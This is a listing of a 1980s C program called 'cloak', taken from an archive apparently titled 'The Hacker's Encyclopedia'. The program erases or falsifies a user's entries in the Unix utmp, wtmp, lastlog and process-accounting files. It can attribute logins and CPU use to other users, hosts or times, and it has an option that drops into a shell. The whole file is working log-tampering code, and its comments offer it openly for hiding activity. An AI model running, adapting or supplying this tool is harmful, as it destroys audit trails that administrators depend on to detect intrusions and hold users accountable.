home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / logcloak.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  11.0 KB  |  316 lines

  1. /*
  2.  *      C L O A K
  3.  *
  4.  *      Wrap yourself in a cloak of darkness (heh heh heh).
  5.  *
  6.  *      Michael S. Baldwin,  Matthew Diaz  1982
  7.  *
  8.  *      Marcus J. Ranum - 1983 - complete re-write and munging
  9.  *      added more options, and all kinds of evil - including the
  10.  *      ability to vanish from wtmp and acct as well as utmp. Added more
  11.  *      error checking and useful command syntax. Now you can attribute
  12.  *      all *YOUR* CPU usage to others when playing hack !!!
  13.  *
  14.  */
  15. #include <stdio.h>
  16. #include <sys/types.h>
  17. #include <utmp.h>
  18. #include <pwd.h>
  19. #include <lastlog.h>
  20. #include <sys/file.h>
  21. #include <sys/acct.h>
  22. /* set these guys. If you're sysV a port should be easy */
  23. #define UTMP    "/etc/utmp"
  24. #define WTMP    "/usr/adm/wtmp"
  25. #define LAST    "/usr/adm/lastlog"
  26. #define ACCT    "/usr/adm/acct"
  27. main(ac,av)
  28. int     ac;
  29. char    *av[];
  30. {
  31.         char    *tp     = "";
  32.         char    *un     = "";
  33.         char    *hn     = "";
  34.         char    *pn     = "";
  35.         long    newt    = 0L;
  36.         int     wflg    = 0;
  37.         int     aflg    = 0;
  38.         int     refs    = 1;
  39.         int     x;              /* klunch */
  40.         char    *p;
  41.         extern  char    *index();
  42.         extern  time_t  time();
  43.         for(x = 1; x < ac; x++) {
  44.                 if(av[x][0] == '-')
  45.                         switch(av[x][1]) {
  46.                                 case 'u':       /* username to be :-) */
  47.                                         if((x + 1) < ac)
  48.                                                 un = av[++x];
  49.                                         break;
  50.                                 case 't':       /* tty slot to be on :-) */
  51.                                         if((x + 1) < ac)
  52.                                                 tp = av[++x];
  53.                                         break;
  54.                                 case 'h':       /* host name to be on :-) */
  55.                                         if((x + 1) < ac)
  56.                                                 hn = av[++x];
  57.                                         break;
  58.                                 case 'r':       /* # of refs to zap :-) */
  59.                                         if((x + 1) < ac)
  60.                                                 refs = atoi(av[++x]);
  61.                                         break;
  62.                                 case 's':
  63.                                         execl("/bin/sh","sh",0);
  64.                                         perror("exec");
  65.                                         exit(1);
  66.                                 case 'w':       /* vanish from wtmp, too */
  67.                                         wflg++;
  68.                                         break;
  69.                                 case 'a':       /* vanish from acct, too */
  70.                                         aflg++;
  71.                                         break;
  72.                                 case 'p':       /* specific program for acct */
  73.                                         if((x + 1) < ac)
  74.                                                 pn = av[++x];
  75.                                         break;
  76.                                 case 'l':       /* log on time */
  77.                                         if((x + 1) >= ac)
  78.                                                 break;
  79.                                         newt = atoi(p = av[++x]);
  80.                                         if(p = index(p,':'))  {
  81.                                                 newt *= 60;
  82.                                                 newt += ((newt > 0) ? 1 : -1) *
  83. atoi(++p);
  84.                                         }
  85.                                         newt *= 60;
  86.                                         newt += time((long *)0L);
  87.                                         break;
  88.                                 default:
  89.                                         exit(usage());
  90.                         }
  91.         }
  92.         if(wflg && wtmpzap(tp,un,hn,newt,refs))
  93.                 perror(av[0]);
  94.         if(aflg && acctzap(un,pn))
  95.                 perror(av[0]);
  96.         if(utmpzap(tp,un,hn,newt)) {
  97.                 perror(av[0]);
  98.                 exit(1);
  99.         }
  100.         if(lastzap(tp,un,hn,newt)) {
  101.                 perror(av[0]);
  102.                 exit(1);
  103.         }
  104.         exit(0);
  105. }
  106. utmpzap(tt,un,hn,tim)
  107. char    *tt;
  108. char    *un;
  109. char    *hn;
  110. long    tim;
  111. {
  112.         int     fd;
  113.         int     slot;
  114.         struct  utmp    ubuf;
  115.         extern  time_t  time();
  116.         extern  char    *strncpy();
  117.         extern  long    lseek();
  118.         if((slot = ttyslot()) == 0) {
  119.                 (void)fprintf(stderr,"No tty slot");
  120.                 return(-1);
  121.         }
  122.         if((fd = open(UTMP,O_RDWR)) == -1 )
  123.                 return(-1);
  124.         if(lseek(fd,(long)(slot * sizeof(ubuf)),0) < 0) {
  125.                 (void)close(fd);
  126.                 return(-1);
  127.         }
  128.         if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
  129.                 (void)close(fd);
  130.                 return(-1);
  131.         }
  132.         if(tim)
  133.                 ubuf.ut_time = tim;
  134.         else
  135.                 ubuf.ut_time = time((long *)0L);
  136.         (void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name));
  137.         if(!tt[0] == '\0')
  138.                 (void)strncpy(ubuf.ut_line,tt,sizeof(ubuf.ut_line));
  139.                 (void)strncpy(ubuf.ut_host,hn,sizeof(ubuf.ut_host));
  140.         if(lseek(fd,(long)(-sizeof(ubuf)), 1) < 0) {
  141.                 (void)close(fd);
  142.                 return(-1);
  143.         }
  144.         if(write(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
  145.                 (void)close(fd);
  146.                 return(-1);
  147.         }
  148.         return(close(fd));
  149. }
  150. wtmpzap(tt,un,hn,tim,refs)
  151. char    *tt;
  152. char    *un;
  153. char    *hn;
  154. long    tim;
  155. int     refs;
  156. {
  157.         int     fd;
  158.         char    *p;
  159.         char    tbuf[40];
  160.         struct  utmp    ubuf;
  161.         extern  char    *strncpy();
  162.         extern  char    *strcpy();
  163.         extern  char    *rindex();
  164.         extern  char    *ttyname();
  165.         extern  long    lseek();
  166.         extern  time_t  time();
  167.         if((p = ttyname(0)) != NULL)
  168.                 (void)strcpy(tbuf,p);
  169.         else
  170.                 return(0);
  171.         /* figure out our device name */
  172.         p = rindex(tbuf,'/');
  173.         if(p == NULL)
  174.                 p = tbuf;
  175.         else
  176.                 p++;
  177.         if((fd = open(WTMP,O_RDWR)) == -1 )
  178.                 return(-1);
  179.         if(lseek(fd,0L,2) < 0)
  180.                 return(-1);
  181.         /* this is gross, but I haven't a better idea how it can */
  182.         /* be done - so who cares ? */
  183.         while(refs) {
  184.                 if((lseek(fd,(long)(-sizeof(ubuf)),1)) < 0) {
  185.                         (void)close(fd);
  186.                         return(0);
  187.                 }
  188.                 if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
  189.                         (void)close(fd);
  190.                         return(0);
  191.                 }
  192.                 if(!strcmp(p,ubuf.ut_line)) {
  193.                         if(tim)
  194.                                 ubuf.ut_time = tim;
  195.                         else
  196.                                 ubuf.ut_time = time((long *)0L);
  197.                         (void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name));
  198.                         (void)strncpy(ubuf.ut_host,hn,sizeof(ubuf.ut_host));
  199.                         if(!tt[0] == '\0')
  200. (void)strncpy(ubuf.ut_line,tt,sizeof(ubuf.ut_line));
  201.                         if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
  202.                                 (void)close(fd);
  203.                                 return(0);
  204.                         }
  205.                         if(write(fd,(char *)&ubuf,sizeof(ubuf)) !=
  206. sizeof(ubuf)){
  207.                                 (void)close(fd);
  208.                                 return(0);
  209.                         }
  210.                         if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
  211.                                 (void)close(fd);
  212.                                 return(0);
  213.                         }
  214.                         refs--;
  215.                 }
  216.                 if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
  217.                         (void)close(fd);
  218.                         return(0);
  219.                 }
  220.         }
  221.         return(close(fd));
  222. }
  223. acctzap(un,pn)
  224. char    *un;
  225. char    *pn;
  226. {
  227.         int     fd;
  228.         int     faku =0;
  229.         int     realu;
  230.         struct  acct    actbuf;
  231.         struct  passwd  *pwt;
  232.         extern  struct  passwd  *getpwnam();
  233.         if((fd = open(ACCT,O_RDWR)) == -1 )
  234.                 return(-1);
  235.         realu = getuid();
  236.         if(un[0] != '\0' && ((pwt = getpwnam(un)) != NULL))
  237.                 faku = pwt->pw_uid;
  238.         while(1) {
  239.                 if(read(fd,(char *)&actbuf,sizeof(actbuf)) != sizeof(actbuf)) {
  240.                         (void)close(fd);
  241.                         return(0);
  242.                 }
  243.                 if(realu == actbuf.ac_uid) {
  244.                         /* only zap a specific program to user */
  245.                         if(pn[0] != '\0' && strcmp(pn,actbuf.ac_comm))
  246.                                 continue;
  247.                         actbuf.ac_uid = faku;
  248.                         actbuf.ac_flag &= ~ASU;
  249.                         if(lseek(fd,(long)(-sizeof(actbuf)),1) < 0) {
  250.                                 (void)close(fd);
  251.                                 return(0);
  252.                         }
  253.                         if(write(fd,(char *)&actbuf,sizeof(actbuf)) !=
  254. sizeof(actbuf)){
  255.                                 (void)close(fd);
  256.                                 return(0);
  257.                         }
  258.                 }
  259.         }
  260. }
  261. usage()
  262. {
  263. #ifdef USAGE
  264.         (void)fprintf(stderr,"usage: cloak <options>\n");
  265.         (void)fprintf(stderr,"options are:\t-l <+->hh:mm (login time)\n");
  266.         (void)fprintf(stderr,"\t\t-u username\t\t\t-t ttyname\n");
  267.         (void)fprintf(stderr,"\t\t-w (clobber wtmp)\t\t-r #of refs to
  268. clobber\n");
  269.         (void)fprintf(stderr,"\t\t-h host\t\t-a (clobber accounting)\n");
  270.         (void)fprintf(stderr,"\t\t-p program (attribute only program to
  271. acct)\n");
  272.         (void)fprintf(stderr,"(no args causes a simple vanishing act)\n");
  273. #endif
  274.         return(1);
  275. }
  276. lastzap(tt,un,hn,tim)
  277. char    *tt;
  278. char    *un;
  279. char    *hn;
  280. long    tim;
  281. {
  282.         int     fd;
  283.         int     uid;
  284.         struct  lastlog lbuf;
  285.         extern  time_t  time();
  286.         extern  char    *strncpy();
  287.         extern  long    lseek();
  288.         uid = getuid();
  289.         if((fd = open(LAST,O_RDWR)) == -1 )
  290.                 return(-1);
  291.         if(lseek(fd,(long)(uid * sizeof(lbuf)),0) < 0) {
  292.                 (void)close(fd);
  293.                 return(-1);
  294.         }
  295.         if(read(fd,(char *)&lbuf,sizeof(lbuf)) != sizeof(lbuf)) {
  296.                 (void)close(fd);
  297.                 return(-1);
  298.         }
  299.         if(tim)
  300.                 lbuf.ll_time = tim;
  301.         else
  302.                 lbuf.ll_time = time((long *)0L);
  303.         if(!tt[0] == '\0')
  304.                 (void)strncpy(lbuf.ll_line,tt,sizeof(lbuf.ll_line));
  305.         (void)strncpy(lbuf.ll_host,hn,sizeof(lbuf.ll_host));
  306.         if(lseek(fd,(long)(-sizeof(lbuf)), 1) < 0) {
  307.                 (void)close(fd);
  308.                 return(-1);
  309.         }
  310.         if(write(fd,(char *)&lbuf,sizeof(lbuf)) != sizeof(lbuf)) {
  311.                 (void)close(fd);
  312.                 return(-1);
  313.         }
  314.         return(close(fd));
  315. }
  316.